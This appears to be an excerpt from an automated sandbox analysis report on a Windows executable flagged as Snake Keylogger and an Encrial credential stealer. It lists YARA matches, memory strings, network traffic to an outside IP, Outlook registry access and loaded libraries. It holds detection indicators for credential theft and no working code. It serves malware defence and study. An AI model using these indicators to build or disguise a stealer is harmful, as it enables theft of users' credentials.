Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000002F3A000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000002F7F000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000003086000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000003077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000003081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000003077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/xK

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49722 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: z1PO7311145.exe, type: SAMPLE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: z1PO7311145.exe, type: SAMPLE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: z1PO7311145.exe, type: SAMPLE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: z1PO7311145.exe PID: 6492, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\z1PO7311145.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DAD278	0_2_02DAD278
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DA5362	0_2_02DA5362
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DAA088	0_2_02DAA088
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DAC148	0_2_02DAC148
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DA7118	0_2_02DA7118
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DAC738	0_2_02DAC738
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DAC468	0_2_02DAC468
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DACA08	0_2_02DACA08
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DAE988	0_2_02DAE988
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DA69B0	0_2_02DA69B0
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DACFAA	0_2_02DACFAA
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DACCD8	0_2_02DACCD8
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DA3AA1	0_2_02DA3AA1
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DA29EC	0_2_02DA29EC
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DA39ED	0_2_02DA39ED
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DAE97A	0_2_02DAE97A
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DAF961	0_2_02DAF961
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_02DA3E09	0_2_02DA3E09
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B31E80	0_2_06B31E80
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3DE00	0_2_06B3DE00
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B317A0	0_2_06B317A0
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B39C70	0_2_06B39C70
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3FC68	0_2_06B3FC68
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B39548	0_2_06B39548
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B30B30	0_2_06B30B30
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B35028	0_2_06B35028
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B32968	0_2_06B32968
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3E6B0	0_2_06B3E6B0
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3E6A0	0_2_06B3E6A0
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B31E70	0_2_06B31E70
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3178F	0_2_06B3178F
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3EF60	0_2_06B3EF60
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3EF51	0_2_06B3EF51
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3CCA0	0_2_06B3CCA0
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3FC5E	0_2_06B3FC5E
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3DDFF	0_2_06B3DDFF
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3D550	0_2_06B3D550
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3D540	0_2_06B3D540
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3EAF8	0_2_06B3EAF8
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3E258	0_2_06B3E258
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3E24A	0_2_06B3E24A
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3F3B8	0_2_06B3F3B8
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B38BA0	0_2_06B38BA0
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B38B96	0_2_06B38B96
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B39BFA	0_2_06B39BFA
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B30B20	0_2_06B30B20
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B39328	0_2_06B39328
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3EB08	0_2_06B3EB08
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3D0F8	0_2_06B3D0F8
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3D0E9	0_2_06B3D0E9
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B35022	0_2_06B35022
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3F810	0_2_06B3F810
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3F802	0_2_06B3F802
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B30006	0_2_06B30006
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B30040	0_2_06B30040
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3D9A8	0_2_06B3D9A8
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3D999	0_2_06B3D999
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 0_2_06B3295A	0_2_06B3295A

Source: z1PO7311145.exe, 00000000.00000002.3694144020.000000000109E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs z1PO7311145.exe
Source: z1PO7311145.exe, 00000000.00000002.3693772784.0000000000F37000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs z1PO7311145.exe
Source: z1PO7311145.exe, 00000000.00000000.1238289372.0000000000B76000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs z1PO7311145.exe
Source: z1PO7311145.exe	Binary or memory string: OriginalFilenameRemington.exe4 vs z1PO7311145.exe

Source: z1PO7311145.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: z1PO7311145.exe, type: SAMPLE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: z1PO7311145.exe, type: SAMPLE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: z1PO7311145.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: z1PO7311145.exe PID: 6492, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: z1PO7311145.exe, --U.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: z1PO7311145.exe, --U.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: z1PO7311145.exe, --.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.winEXE@1/0@4/4

Source: C:\Users\user\Desktop\z1PO7311145.exe

Mutant created: NULL

Source: z1PO7311145.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: z1PO7311145.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\z1PO7311145.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: z1PO7311145.exe, 00000000.00000002.3696383781.000000000316C000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000003179000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000003129000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000003139000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000003147000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: z1PO7311145.exe

ReversingLabs: Detection: 73%

Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\z1PO7311145.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: z1PO7311145.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: z1PO7311145.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\z1PO7311145.exe

Code function: 0_2_06B39233 push es; ret

0_2_06B39244

Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\z1PO7311145.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Memory allocated: 2EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598546	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598218	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597560	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\z1PO7311145.exe	Thread delayed: delay time: 597125	Jump to behavior
